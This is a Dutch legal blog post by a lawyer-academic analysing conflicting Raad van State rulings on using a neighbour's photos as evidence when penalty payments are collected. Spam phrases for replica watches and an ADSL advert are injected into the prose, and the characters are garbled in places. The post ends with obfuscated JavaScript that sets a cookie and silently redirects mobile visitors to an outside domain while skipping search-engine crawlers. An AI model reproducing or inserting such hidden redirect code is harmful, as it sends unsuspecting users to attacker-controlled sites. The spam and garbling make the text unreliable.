De buurman stuurt foto’s op van de illegale opslag die iemand in zijn tuin heeft aan een toezichthouder. Kunnen die foto’s dan zo maar als bewijs worden gebruikt dat er een overtreding is? De Afdeling bestuursrechtspraak van de Raad van State heeft daar ogenschijnlijk tegenstrijdige uitspraken over gedaan. In dit blog verduidelijk ik wanneer het bewijs van een burger wel mag worden gebruikt en wanneer het niet mag.
Prijs vergelijk ADSL, kabel, glasvezel aanbieders en bespaar geld door over te stappen!
Burgerbewijs bij handhaving
In het bestuursrecht kennen wij de ‘vrije bewijsleer’: alleen als het gebruik van het bewijs zozeer indruist tegen wat van een redelijk bestuur mag worden verwacht, mag het niet aan een besluit ten grondslag worden gelegd (zie bijvoorbeeld ABRvS 13 janauri 2016, ECLI:NL:RVS:2016:70, r.o. 4.1). Die drempel wordt zelden overschreden. Alleen in extreme gevallen waarin de overheid evident onrechtmatig handelt door het bewijs te gebruiken, mag het dus niet worden gebruikt. Denk bijvoorbeeld aan het gebruiken van een verklaring die onder dreiging van fysieke dwang is verkregen.
Als een burger aan een toezichthouder bewijs levert dat er een overtreding plaatsvindt, dan mag dat dus in beginsel worden gebruikt door de overheid om (bijvoorbeeld) een last onder dwangsom op te leggen. Doorgaans zal de toezichthouder dan wel zelf nog een kijkje gaan nemen om er zeker van te zijn dat er inderdaad een overtreding plaatsvindt. Bovendien heeft het proces-verbaal van een replicas patek philippe toezichthouder sterkere bewijskracht, zodat als de toezichthouder zelf ook de overtreding constateert, dat een hoop discussies voorkomt. Het komt dan ook zelden voor dat enkel het bewijs van de burger wordt gebruikt om een handhavingsbesluit te nemen.
Afdelingsuitspraak (1): bij invordering mag je gA�A�n bewijs van een burger gebruiken
Bij de invordering van dwangsommen lijkt dat echter anders te zijn. Ik zeg ‘lijkt’ omdat dit aspect voor discussie vatbaar is.
Het uitgangspunt is namelijk dat de Afdeling een bestendige jurisprudentielijn heeft waarin wordt geoordeeld dat de waarneming op grond waarvan wordt geconcludeerd dat er een dwangsom is verbeurd, moet zijn verricht “door een ter zake deskundige medewerker van het bevoegd gezag” (zie ABRvS 13 juni 2012, JM 2012/103 met mijn annotatie). Dat lijkt duidelijk: een toezichthouder met kennis van zaken moet vaststellen dat niet aan de last is voldaan. Ander bewijs mag niet.
Dat lijkt bevestigd te worden in twee uitspraken waarin de Afdeling heeft geoordeeld dat het bewijs van de buurman van de overtreder (meer in het bijzonder foto’s van een overtreding van de last) niet mag worden gebruikt om een dwangsom in te vorderen (ABRvS 25 november 2015, AB 2016/14 met mijn annotatie en ABRvS 24 februari 2016, ECLI:NL:RVS:2016:469), want: niet gemaakt door een toezichthouder en dus onbetrouwbaar.
Afdelingsuitspraak (2): bij invordering mag je wA�l bewijs van een burger gebruiken
Anders oordeelde de Afdeling echter in een uitspraak van 1 juni 2016 (AB 2017/33 met mijn annotatie). Daarin oordeelde de Afdeling dat een toezichthouder terecht de verklaring van de buurman heeft gebruikt om te oordelen dat de last is overtreden. In het kort kwam het erop neer dat de toezichthouder niet zelf kon zien of de last (het herstellen van een bouwvallig pand) was nageleefd, dus is het aanvaardbaar dat de verklaring van de buurman wordt gebruikt a�� aldus de Afdeling.
Los van het feit dat de motivering voor die uitspraak volgens mij rammelt (immers, hoezo kan de buurman wel zien dat de last niet is nageleefd, maar de toezichthouder niet?), is dat linea recta in strijd met de eerdere uitspraken van de Afdeling.
Conclusie (1): het mag wel, mits het geloofwaardig is
Na een grondige analyse (zie mijn AB noot) kom ik tot de conclusie dat de Afdeling van oordeel lijkt te zijn dat het bewijs van de burger wel mag worden gebruikt, zo lang het maar geloofwaardig is. In de twee gevallen (zie voor het andere geval: ABRvS 9 april 2014, ECLI:NL:RVS:2014:126) waarbij de Afdeling het bewijs van een burger wA�l accepteerde als bewijs voor de verbeurte van een dwangsom, had de desbetreffende burger geen belang bij het laten verbeuren van de dwangsom. Met andere woorden: hij was geloofwaardig. In de twee gevallen waarbij de Afdeling het bewijs van een burger niet aanvaardbaar achtte, had de burger belang bij de verbeurte en was hij dus niet geloofwaardig.
Conclusie (2): de eisen van de Afdeling zijn geen eisen
Het probleem met die conclusie is dat dit betekent dat de Afdeling hele andere eisen zegt te stellen dan zij daadwerkelijk stelt. De Afdeling zegt namelijk ‘het moet een toezichthouder zijn’ die het bewijs bij invordering levert, maar in feite moet het gewoon ‘een geloofwaardig iemand’ zijn. Daar is natuurlijk best wat voor te zeggen (sterker nog, dat lijkt mij gewoon redelijk), maar het is natuurlijk niet de bedoeling dat de Afdeling een eis stelt die eigenlijk helemaal geen eis is.
Interessanter is dat als men breder kijkt, het lastig te ontkennen is dat de Afdeling voornamelijk bezig is om uit te leggen dat de eisen die zij heeft gesteld ‘in dit geval’ niet hoeven te worden toegepast. In mijn noota�� heb ik twee andere voorbeelden hiervan uitgewerkt. Mijn conclusie: volgens mij zijn de eisen van de Afdeling over het Replicas Breitling bewijs bij invordering eigenlijk alleen maar eisen als het de Afdeling zo uitkomt. Daar word ik als advocaat en wetenschapper niet bepaald blij van. Bij deze dan ook de herhaling van mijn oproep aan de Afdeling in mijn AB noot a�� ga de eisen ofwel daadwerkelijk consequent toepassen of laat ze (gedeeltelijk) los.a��a��var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}